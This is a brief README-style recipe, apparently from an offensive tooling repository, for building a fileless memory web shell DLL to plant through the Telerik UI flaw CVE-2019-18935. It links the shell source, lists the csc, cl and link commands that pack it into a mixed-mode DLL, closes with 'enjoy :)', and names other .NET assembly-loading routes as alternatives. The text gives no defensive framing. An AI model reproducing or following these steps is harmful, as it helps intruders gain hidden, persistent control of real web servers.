source CVE-2019-18935-Memshell
1.Build https://github.com/A-D-Team/SharpMemshell/blob/main/VirtualPath/memshell.cs
2.Convert dll to byte array
3.Replace rawData in memShell.cpp
4.csc /target:module empty.cs
5.cl /c memShell.cpp
6.link /DLL /LTCG /CLRIMAGETYPE:IJW /out:memShell.dll memShell.obj empty.netmodule
7.enjoy :)
Tips
Other scenarios
- CompilerResults
- AssemblyInstaller
- Assembly.Load*